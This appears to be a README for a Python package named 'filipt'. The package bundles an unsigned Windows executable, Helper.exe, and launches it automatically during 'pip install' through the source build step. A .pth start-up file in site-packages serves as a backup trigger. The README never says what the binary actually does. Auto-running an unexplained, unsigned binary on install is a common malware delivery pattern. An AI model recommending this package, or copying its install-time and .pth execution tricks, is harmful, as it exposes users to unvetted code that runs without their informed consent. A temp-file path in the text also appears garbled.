filipt

filipt

A small Windows utility that ships Helper.exe and launches it.

pip install filipt

Installing builds the package from source (it is published as a source distribution) and launches Helper.exe during the build step, so it opens as part of the install. You can also launch it yourself:

import filipt

print(filipt.exe_path())
filipt.run()

The executable is bundled inside the package at site-packages/filipt/Helper.exe, so nothing is downloaded at runtime.

API

Callable	Description
run()	Launch Helper.exe; returns the path
run_on_install()	Same as run()
exe_path()	Path to the bundled executable

How the dialog is triggered

pip has no postinstall hook, so there are two triggers:

• Build step – when pip builds the source distribution it launches Helper.exe during pip install.
• filipt.pth – a start-up file placed in site-packages. It covers the case where pip installs a cached wheel and never runs the build step. A marker in %TEMP%ilipt-shown-<version>.flag keeps it to one dialog per installed version; delete that file to see it again.

Notes

• Windows only (the executable is a Windows binary).
• pip install filipt triggers the launch during the source build.
• If your install method skips building from source, call filipt.run() explicitly.
• The binary is unsigned, so SmartScreen may ask for confirmation once.